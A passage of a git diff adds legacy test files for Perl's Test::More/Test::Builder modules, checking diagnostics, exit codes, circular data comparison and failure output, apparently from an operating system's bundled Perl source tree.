+ print "ok $tnum - You're ok\n";
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/c_flag.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/c_flag.t
new file mode 100644
index 00000000000..02551d09e5e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/c_flag.t
@@ -0,0 +1,23 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+# Test::More should not print anything when Perl is only doing
+# a compile as with the -c flag or B::Deparse or perlcc.
+
+# HARNESS_ACTIVE=1 was causing an error with -c
+{
+ local $ENV{HARNESS_ACTIVE} = 1;
+ local $^C = 1;
+
+ require Test::More;
+ Test::More->import(tests => 1);
+
+ fail("This should not show up");
+}
+
+Test::More->builder->no_ending(1);
+
+print "1..1\n";
+print "ok 1\n";
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/capture.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/capture.t
new file mode 100644
index 00000000000..f9103bd6aa0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/capture.t
@@ -0,0 +1,32 @@
+use strict;
+
+use Test::Tester;
+
+my $Test = Test::Builder->new;
+$Test->plan(tests => 3);
+
+my $cap;
+
+$cap = Test::Tester->capture;
+
+{
+ no warnings 'redefine';
+ sub Test::Tester::find_run_tests { return 0};
+}
+
+local $Test::Builder::Level = 0;
+{
+ my $cur = $cap->current_test;
+ $Test->is_num($cur, 0, "current test");
+
+ eval {$cap->current_test(2)};
+ $Test->ok($@, "can't set test_num");
+}
+
+{
+ $cap->ok(1, "a test");
+
+ my @res = $cap->details;
+
+ $Test->is_num(scalar @res, 1, "res count");
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/check_tests.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/check_tests.t
new file mode 100644
index 00000000000..12a80c639d0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/check_tests.t
@@ -0,0 +1,145 @@
+use strict;
+
+use Test::Tester;
+
+use Data::Dumper qw(Dumper);
+
+my $test = Test::Builder->new;
+$test->plan(tests => 139);
+
+my $cap;
+
+$cap = Test::Tester->capture;
+
+my @tests = (
+ [
+ 'pass',
+ '$cap->ok(1, "pass");',
+ {
+ name => "pass",
+ ok => 1,
+ actual_ok => 1,
+ reason => "",
+ type => "",
+ diag => "",
+ depth => 0,
+ },
+ ],
+ [
+ 'pass diag',
+ '$cap->ok(1, "pass diag");
+ $cap->diag("pass diag1");
+ $cap->diag("pass diag2");',
+ {
+ name => "pass diag",
+ ok => 1,
+ actual_ok => 1,
+ reason => "",
+ type => "",
+ diag => "pass diag1\npass diag2\n",
+ depth => 0,
+ },
+ ],
+ [
+ 'pass diag no \\n',
+ '$cap->ok(1, "pass diag");
+ $cap->diag("pass diag1");
+ $cap->diag("pass diag2");',
+ {
+ name => "pass diag",
+ ok => 1,
+ actual_ok => 1,
+ reason => "",
+ type => "",
+ diag => "pass diag1\npass diag2",
+ depth => 0,
+ },
+ ],
+ [
+ 'fail',
+ '$cap->ok(0, "fail");
+ $cap->diag("fail diag");',
+ {
+ name => "fail",
+ ok => 0,
+ actual_ok => 0,
+ reason => "",
+ type => "",
+ diag => "fail diag\n",
+ depth => 0,
+ },
+ ],
+ [
+ 'skip',
+ '$cap->skip("just because");',
+ {
+ name => "",
+ ok => 1,
+ actual_ok => 1,
+ reason => "just because",
+ type => "skip",
+ diag => "",
+ depth => 0,
+ },
+ ],
+ [
+ 'todo_skip',
+ '$cap->todo_skip("why not");',
+ {
+ name => "",
+ ok => 1,
+ actual_ok => 0,
+ reason => "why not",
+ type => "todo_skip",
+ diag => "",
+ depth => 0,
+ },
+ ],
+ [
+ 'pass diag qr',
+ '$cap->ok(1, "pass diag qr");
+ $cap->diag("pass diag qr");',
+ {
+ name => "pass diag qr",
+ ok => 1,
+ actual_ok => 1,
+ reason => "",
+ type => "",
+ diag => qr/pass diag qr/,
+ depth => 0,
+ },
+ ],
+ [
+ 'fail diag qr',
+ '$cap->ok(0, "fail diag qr");
+ $cap->diag("fail diag qr");',
+ {
+ name => "fail diag qr",
+ ok => 0,
+ actual_ok => 0,
+ reason => "",
+ type => "",
+ diag => qr/fail diag qr/,
+ depth => 0,
+ },
+ ],
+);
+
+my $big_code = "";
+my @big_expect;
+
+foreach my $test (@tests)
+{
+ my ($name, $code, $expect) = @$test;
+
+ $big_code .= "$code\n";
+ push(@big_expect, $expect);
+
+ my $test_sub = eval "sub {$code}";
+
+ check_test($test_sub, $expect, $name);
+}
+
+my $big_test_sub = eval "sub {$big_code}";
+
+check_tests($big_test_sub, \@big_expect, "run all");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/circular_data.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/circular_data.t
new file mode 100644
index 00000000000..2fd819e1f4a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/circular_data.t
@@ -0,0 +1,71 @@
+#!/usr/bin/perl -w
+
+# Test is_deeply and friends with circular data structures [rt.cpan.org 7289]
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 11;
+
+my $a1 = [ 1, 2, 3 ];
+push @$a1, $a1;
+my $a2 = [ 1, 2, 3 ];
+push @$a2, $a2;
+
+is_deeply $a1, $a2;
+ok( eq_array ($a1, $a2) );
+ok( eq_set ($a1, $a2) );
+
+my $h1 = { 1=>1, 2=>2, 3=>3 };
+$h1->{4} = $h1;
+my $h2 = { 1=>1, 2=>2, 3=>3 };
+$h2->{4} = $h2;
+
+is_deeply $h1, $h2;
+ok( eq_hash ($h1, $h2) );
+
+my ($r, $s);
+
+$r = \$r;
+$s = \$s;
+
+ok( eq_array ([$s], [$r]) );
+
+
+{
+ # Classic set of circular scalar refs.
+ my($a,$b,$c);
+ $a = \$b;
+ $b = \$c;
+ $c = \$a;
+
+ my($d,$e,$f);
+ $d = \$e;
+ $e = \$f;
+ $f = \$d;
+
+ is_deeply( $a, $a );
+ is_deeply( $a, $d );
+}
+
+
+{
+ # rt.cpan.org 11623
+ # Make sure the circular ref checks don't get confused by a reference
+ # which is simply repeating.
+ my $a = {};
+ my $b = {};
+ my $c = {};
+
+ is_deeply( [$a, $a], [$b, $c] );
+ is_deeply( { foo => $a, bar => $a }, { foo => $b, bar => $c } );
+ is_deeply( [\$a, \$a], [\$b, \$c] );
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/cmp_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/cmp_ok.t
new file mode 100644
index 00000000000..c9b9f1bf65f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/cmp_ok.t
@@ -0,0 +1,86 @@
+#!/usr/bin/perl -w
+
+use strict;
+use warnings;
+
+use lib 't/lib';
+
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+local $ENV{HARNESS_ACTIVE} = 0;
+
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->level(0);
+
+sub try_cmp_ok {
+ my($left, $cmp, $right, $error) = @_;
+
+ my %expect;
+ if( $error ) {
+ $expect{ok} = 0;
+ $expect{error} = $error;
+ }
+ else {
+ $expect{ok} = eval "\$left $cmp \$right";
+ $expect{error} = $@;
+ $expect{error} =~ s/ at .*\n?//;
+ }
+
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+
+ my $ok;
+ eval { $ok = cmp_ok($left, $cmp, $right, "cmp_ok"); };
+
+ $TB->is_num(!!$ok, !!$expect{ok}, " right return");
+
+ my $diag = $err->read;
+
+ if ($@) {
+ $diag = $@;
+ $diag =~ s/ at .*\n?//;
+ }
+
+ if( !$ok and $expect{error} ) {
+ $diag =~ s/^# //mg;
+ $TB->like( $diag, qr/\Q$expect{error}\E/, " expected error" );
+ }
+ elsif( $ok ) {
+ $TB->is_eq( $diag, '', " passed without diagnostic" );
+ }
+ else {
+ $TB->ok(1, " failed without diagnostic");
+ }
+}
+
+
+use Test::More;
+Test::More->builder->no_ending(1);
+
+require MyOverload;
+my $cmp = Overloaded::Compare->new("foo", 42);
+my $ify = Overloaded::Ify->new("bar", 23);
+
+my @Tests = (
+ [1, '==', 1],
+ [1, '==', 2],
+ ["a", "eq", "b"],
+ ["a", "eq", "a"],
+ [1, "+", 1],
+ [1, "-", 1],
+
+ [$cmp, '==', 42],
+ [$cmp, 'eq', "foo"],
+ [$ify, 'eq', "bar"],
+ [$ify, "==", 23],
+
+ [1, "=", 0, "= is not a valid comparison operator in cmp_ok()"],
+ [1, "+=", 0, "+= is not a valid comparison operator in cmp_ok()"],
+);
+
+plan tests => scalar @Tests;
+$TB->plan(tests => @Tests * 2);
+
+for my $test (@Tests) {
+ try_cmp_ok(@$test);
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/depth.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/depth.t
new file mode 100644
index 00000000000..55d0d7c6345
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/depth.t
@@ -0,0 +1,31 @@
+use strict;
+use warnings;
+
+use lib 't/lib';
+
+use Test::Tester;
+
+use MyTest;
+
+my $test = Test::Builder->new;
+$test->plan(tests => 2);
+
+sub deeper
+{
+ MyTest::ok(1);
+}
+
+{
+
+ my @results = run_tests(
+ sub {
+ MyTest::ok(1);
+ deeper();
+ }
+ );
+
+ local $Test::Builder::Level = 0;
+ $test->is_num($results[1]->{depth}, 1, "depth 1");
+ $test->is_num($results[2]->{depth}, 2, "deeper");
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/diag.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/diag.t
new file mode 100644
index 00000000000..bc10975b113
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/diag.t
@@ -0,0 +1,79 @@
+#!perl -w
+use strict;
+
+use Test2::Util qw/CAN_THREAD/;
+
+# Turn on threads here, if available, since this test tends to find
+# lots of threading bugs.
+BEGIN {
+ if (CAN_THREAD) {
+ require threads;
+ threads->import;
+ }
+}
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::Builder::NoOutput;
+use Test::More tests => 7;
+
+my $test = Test::Builder::NoOutput->create;
+
+# Test diag() goes to todo_output() in a todo test.
+{
+ $test->todo_start();
+
+ $test->diag("a single line");
+ is( $test->read('todo'), <<'DIAG', 'diag() with todo_output set' );
+# a single line
+DIAG
+
+ my $ret = $test->diag("multiple\n", "lines");
+ is( $test->read('todo'), <<'DIAG', ' multi line' );
+# multiple
+# lines
+DIAG
+ ok( !$ret, 'diag returns false' );
+
+ $test->todo_end();
+}
+
+
+# Test diagnostic formatting
+{
+ $test->diag("# foo");
+ is( $test->read('err'), "# # foo\n", "diag() adds # even if there's one already" );
+
+ $test->diag("foo\n\nbar");
+ is( $test->read('err'), <<'DIAG', " blank lines get escaped" );
+# foo
+#
+# bar
+DIAG
+
+ $test->diag("foo\n\nbar\n\n");
+ is( $test->read('err'), <<'DIAG', " even at the end" );
+# foo
+#
+# bar
+#
+DIAG
+}
+
+
+# [rt.cpan.org 8392] diag(@list) emulates print
+{
+ $test->diag(qw(one two));
+
+ is( $test->read('err'), <<'DIAG' );
+# onetwo
+DIAG
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/died.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/died.t
new file mode 100644
index 00000000000..af929cbb817
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/died.t
@@ -0,0 +1,47 @@
+#!perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 3);
+
+
+package main;
+
+require Test::Simple;
+
+chdir 't';
+push @INC, '../t/lib/';
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+local $ENV{HARNESS_ACTIVE} = 0;
+
+Test::Simple->import(tests => 1);
+exit 250;
+
+END {
+ $TB->is_eq($out->read, <<OUT);
+1..1
+OUT
+
+ $TB->is_eq($err->read, <<ERR);
+# Looks like your test exited with 250 before it could output anything.
+ERR
+
+ $TB->is_eq($?, 250, "exit code");
+
+ $? = grep { !$_ } $TB->summary;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/dont_overwrite_die_handler.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/dont_overwrite_die_handler.t
new file mode 100644
index 00000000000..09b700787d1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/dont_overwrite_die_handler.t
@@ -0,0 +1,24 @@
+#!/usr/bin/perl -w
+use Config; # To prevent conflict with some strawberry-portable versions
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Carp qw/cluck/;
+
+# Make sure this is in place before Test::More is loaded.
+my $started = 0;
+my $handler_called;
+BEGIN {
+ $SIG{__DIE__} = sub { $handler_called++; cluck 'Died early!' unless $started };
+}
+
+use Test::More tests => 2;
+
+$started = 1;
+ok !eval { die };
+is $handler_called, 1, 'existing DIE handler not overridden';
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/eq_set.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/eq_set.t
new file mode 100644
index 00000000000..fbdc52db1fa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/eq_set.t
@@ -0,0 +1,34 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+chdir 't';
+
+use strict;
+use Test::More;
+
+plan tests => 4;
+
+# RT 3747
+ok( eq_set([1, 2, [3]], [[3], 1, 2]) );
+ok( eq_set([1,2,[3]], [1,[3],2]) );
+
+# bugs.perl.org 36354
+my $ref = \2;
+ok( eq_set( [$ref, "$ref", "$ref", $ref],
+ ["$ref", $ref, $ref, "$ref"]
+ ) );
+
+TODO: {
+ local $TODO = q[eq_set() doesn't really handle references];
+
+ ok( eq_set( [\1, \2, \3], [\2, \3, \1] ) );
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/exit.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/exit.t
new file mode 100644
index 00000000000..d04fc357dcd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/exit.t
@@ -0,0 +1,118 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+require Test::Builder;
+my $TB = Test::Builder->create();
+$TB->level(0);
+
+
+package main;
+
+use Cwd;
+use File::Spec;
+
+my $Orig_Dir = cwd;
+
+my $Perl = File::Spec->rel2abs($^X);
+if( $^O eq 'VMS' ) {
+ # VMS can't use its own $^X in a system call until almost 5.8
+ $Perl = "MCR $^X" if $] < 5.007003;
+
+ # Quiet noisy 'SYS$ABORT'
+ $Perl .= q{ -"I../lib"} if $ENV{PERL_CORE};
+ $Perl .= q{ -"Mvmsish=hushed"};
+} else {
+ $Perl = qq("$Perl"); # protect from shell if spaces
+}
+
+eval { require POSIX; &POSIX::WEXITSTATUS(0) };
+if( $@ ) {
+ *exitstatus = sub { $_[0] >> 8 };
+}
+else {
+ *exitstatus = sub { POSIX::WEXITSTATUS($_[0]) }
+}
+
+
+# Some OS' will alter the exit code to their own native sense...
+# sometimes. Rather than deal with the exception we'll just
+# build up the mapping.
+print "# Building up a map of exit codes. May take a while.\n";
+my %Exit_Map;
+
+open my $fh, ">", "exit_map_test" or die $!;
+print $fh <<'DONE';
+if ($^O eq 'VMS') {
+ require vmsish;
+ import vmsish qw(hushed);
+}
+my $exit = shift;
+print "exit $exit\n";
+END { $? = $exit };
+DONE
+
+close $fh;
+END { 1 while unlink "exit_map_test" }
+
+for my $exit (0..255) {
+ # This correctly emulates Test::Builder's behavior.
+ my $out = qx[$Perl exit_map_test $exit];
+ $TB->like( $out, qr/^exit $exit\n/, "exit map test for $exit" );
+ $Exit_Map{$exit} = exitstatus($?);
+}
+print "# Done.\n";
+
+
+my %Tests = (
+ # File Exit Code
+ 'success.plx' => 0,
+ 'one_fail.plx' => 1,
+ 'two_fail.plx' => 2,
+ 'five_fail.plx' => 5,
+ 'extras.plx' => 2,
+ 'too_few.plx' => 255,
+ 'too_few_fail.plx' => 2,
+ 'death.plx' => 255,
+ 'last_minute_death.plx' => 255,
+ 'pre_plan_death.plx' => 'not zero',
+ 'death_in_eval.plx' => 0,
+ 'require.plx' => 0,
+ 'death_with_handler.plx' => 255,
+ 'exit.plx' => 1,
+ 'one_fail_without_plan.plx' => 1,
+ 'missing_done_testing.plx' => 254,
+ );
+
+chdir 't';
+my $lib = File::Spec->catdir(qw(lib Test Simple sample_tests));
+while( my($test_name, $exit_code) = each %Tests ) {
+ my $file = File::Spec->catfile($lib, $test_name);
+ my $wait_stat = system(qq{$Perl -"I../blib/lib" -"I../lib" -"I../t/lib" $file});
+ my $actual_exit = exitstatus($wait_stat);
+
+ if( $exit_code eq 'not zero' ) {
+ $TB->isnt_num( $actual_exit, $Exit_Map{0},
+ "$test_name exited with $actual_exit ".
+ "(expected non-zero)");
+ }
+ else {
+ $TB->is_num( $actual_exit, $Exit_Map{$exit_code},
+ "$test_name exited with $actual_exit ".
+ "(expected $Exit_Map{$exit_code})");
+ }
+}
+
+$TB->done_testing( scalar keys(%Tests) + 256 );
+
+# So any END block file cleanup works.
+chdir $Orig_Dir;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain.t
new file mode 100644
index 00000000000..cf2f550e950
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::More tests => 5;
+
+can_ok "main", "explain";
+
+is_deeply [explain("foo")], ["foo"];
+is_deeply [explain("foo", "bar")], ["foo", "bar"];
+
+# Avoid future dump formatting changes from breaking tests by just eval'ing
+# the dump
+is_deeply [map { eval $_ } explain([], {})], [[], {}];
+
+is_deeply [map { eval $_ } explain(23, [42,91], 99)], [23, [42, 91], 99];
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain_err_vars.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain_err_vars.t
new file mode 100644
index 00000000000..6f5487f6706
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain_err_vars.t
@@ -0,0 +1,9 @@
+use strict;
+use warnings;
+use Test::More;
+
+$@ = 'foo';
+explain { 1 => 1 };
+is($@, 'foo', "preserved \$@");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra.t
new file mode 100644
index 00000000000..ac82aae7ce8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra.t
@@ -0,0 +1,65 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+use Test::Builder;
+use Test::Builder::NoOutput;
+use Test::Simple;
+
+# TB methods expect to be wrapped
+my $ok = sub { shift->ok(@_) };
+my $plan = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
+my $TB = Test::Builder->new;
+my $test = Test::Builder::NoOutput->create;
+$test->$plan( tests => 3 );
+
+local $ENV{HARNESS_ACTIVE} = 0;
+
+$test->$ok(1, 'Foo');
+$TB->is_eq($test->read(), <<END);
+1..3
+ok 1 - Foo
+END
+
+#line 30
+$test->$ok(0, 'Bar');
+$TB->is_eq($test->read(), <<END);
+not ok 2 - Bar
+# Failed test 'Bar'
+# at $0 line 30.
+END
+
+$test->$ok(1, 'Yar');
+$test->$ok(1, 'Car');
+$TB->is_eq($test->read(), <<END);
+ok 3 - Yar
+ok 4 - Car
+END
+
+#line 45
+$test->$ok(0, 'Sar');
+$TB->is_eq($test->read(), <<END);
+not ok 5 - Sar
+# Failed test 'Sar'
+# at $0 line 45.
+END
+
+$test->_ending();
+$TB->is_eq($test->read(), <<END);
+# Looks like you planned 3 tests but ran 5.
+# Looks like you failed 2 tests of 5 run.
+END
+
+$TB->$done_testing(5);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra_one.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra_one.t
new file mode 100644
index 00000000000..a1a15a67bd2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra_one.t
@@ -0,0 +1,54 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 2);
+
+sub is { $TB->is_eq(@_) }
+
+
+package main;
+
+require Test::Simple;
+Test::Simple->import(tests => 1);
+ok(1);
+ok(1);
+ok(1);
+
+END {
+ My::Test::is($$out, <<OUT);
+1..1
+ok 1
+ok 2
+ok 3
+OUT
+
+ My::Test::is($$err, <<ERR);
+# Looks like you planned 1 test but ran 3.
+ERR
+
+ # Prevent Test::Simple from existing with non-zero
+ exit 0;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-like.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-like.t
new file mode 100644
index 00000000000..4ec99aeab02
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-like.t
@@ -0,0 +1,77 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+# There was a bug with like() involving a qr// not failing properly.
+# This tests against that.
+
+use strict;
+
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 4);
+
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+local $ENV{HARNESS_ACTIVE} = 0;
+
+package main;
+
+require Test::More;
+Test::More->import(tests => 1);
+
+{
+ eval q{ like( "foo", qr/that/, 'is foo like that' ); };
+
+ $TB->is_eq($out->read, <<OUT, 'failing output');
+1..1
+not ok 1 - is foo like that
+OUT
+
+ # Accept both old and new-style stringification
+ my $modifiers = (qr/foobar/ =~ /\Q(?^/) ? '\\^' : '-xism';
+
+ my $err_re = <<ERR;
+# Failed test 'is foo like that'
+# at .* line 1\.
+# 'foo'
+# doesn't match '\\(\\?$modifiers:that\\)'
+ERR
+
+ $TB->like($err->read, qr/^$err_re$/, 'failing errors');
+}
+
+{
+ # line 62
+ like("foo", "not a regex");
+ $TB->is_eq($out->read, <<OUT);
+not ok 2
+OUT
+
+ $TB->is_eq($err->read, <<OUT);
+# Failed test at $0 line 62.
+# 'not a regex' doesn't look much like a regex to me.
+OUT
+
+}
+
+END {
+ # Test::More thinks it failed. Override that.
+ $? = scalar grep { !$_ } $TB->summary;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-more.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-more.t
new file mode 100644
index 00000000000..3d28fbb52d4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-more.t
@@ -0,0 +1,520 @@
+#!perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+local $ENV{HARNESS_ACTIVE} = 0;
+
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 80);
+
+sub like ($$;$) {
+ $TB->like(@_);
+}
+
+sub is ($$;$) {
+ $TB->is_eq(@_);
+}
+
+sub main::out_ok ($$) {
+ $TB->is_eq( $out->read, shift );
+ $TB->is_eq( $err->read, shift );
+}
+
+sub main::out_like ($$) {
+ my($output, $failure) = @_;
+
+ $TB->like( $out->read, qr/$output/ );
+ $TB->like( $err->read, qr/$failure/ );
+}
+
+
+package main;
+
+require Test::More;
+our $TODO;
+my $Total = 38;
+Test::More->import(tests => $Total);
+$out->read; # clear the plan from $out
+
+# This should all work in the presence of a __DIE__ handler.
+local $SIG{__DIE__} = sub { $TB->ok(0, "DIE handler called: ".join "", @_); };
+
+
+my $tb = Test::More->builder;
+$tb->use_numbers(0);
+
+my $Filename = quotemeta $0;
+
+
+#line 38
+ok( 0, 'failing' );
+out_ok( <<OUT, <<ERR );
+not ok - failing
+OUT
+# Failed test 'failing'
+# at $0 line 38.
+ERR
+
+
+#line 40
+is( "foo", "bar", 'foo is bar?');
+out_ok( <<OUT, <<ERR );
+not ok - foo is bar?
+OUT
+# Failed test 'foo is bar?'
+# at $0 line 40.
+# got: 'foo'
+# expected: 'bar'
+ERR
+
+#line 89
+is( undef, '', 'undef is empty string?');
+out_ok( <<OUT, <<ERR );
+not ok - undef is empty string?
+OUT
+# Failed test 'undef is empty string?'
+# at $0 line 89.
+# got: undef
+# expected: ''
+ERR
+
+#line 99
+is( undef, 0, 'undef is 0?');
+out_ok( <<OUT, <<ERR );
+not ok - undef is 0?
+OUT
+# Failed test 'undef is 0?'
+# at $0 line 99.
+# got: undef
+# expected: '0'
+ERR
+
+#line 110
+is( '', 0, 'empty string is 0?' );
+out_ok( <<OUT, <<ERR );
+not ok - empty string is 0?
+OUT
+# Failed test 'empty string is 0?'
+# at $0 line 110.
+# got: ''
+# expected: '0'
+ERR
+
+#line 121
+isnt("foo", "foo", 'foo isnt foo?' );
+out_ok( <<OUT, <<ERR );
+not ok - foo isnt foo?
+OUT
+# Failed test 'foo isnt foo?'
+# at $0 line 121.
+# got: 'foo'
+# expected: anything else
+ERR
+
+#line 132
+isn't("foo", "foo",'foo isn\'t foo?' );
+out_ok( <<OUT, <<ERR );
+not ok - foo isn't foo?
+OUT
+# Failed test 'foo isn\'t foo?'
+# at $0 line 132.
+# got: 'foo'
+# expected: anything else
+ERR
+
+#line 143
+isnt(undef, undef, 'undef isnt undef?');
+out_ok( <<OUT, <<ERR );
+not ok - undef isnt undef?
+OUT
+# Failed test 'undef isnt undef?'
+# at $0 line 143.
+# got: undef
+# expected: anything else
+ERR
+
+#line 154
+like( "foo", '/that/', 'is foo like that' );
+out_ok( <<OUT, <<ERR );
+not ok - is foo like that
+OUT
+# Failed test 'is foo like that'
+# at $0 line 154.
+# 'foo'
+# doesn't match '/that/'
+ERR
+
+#line 165
+unlike( "foo", '/foo/', 'is foo unlike foo' );
+out_ok( <<OUT, <<ERR );
+not ok - is foo unlike foo
+OUT
+# Failed test 'is foo unlike foo'
+# at $0 line 165.
+# 'foo'
+# matches '/foo/'
+ERR
+
+# Nick Clark found this was a bug. Fixed in 0.40.
+# line 177
+like( "bug", '/(%)/', 'regex with % in it' );
+out_ok( <<OUT, <<ERR );
+not ok - regex with % in it
+OUT
+# Failed test 'regex with % in it'
+# at $0 line 177.
+# 'bug'
+# doesn't match '/(%)/'
+ERR
+
+#line 188
+fail('fail()');
+out_ok( <<OUT, <<ERR );
+not ok - fail()
+OUT
+# Failed test 'fail()'
+# at $0 line 188.
+ERR
+
+#line 197
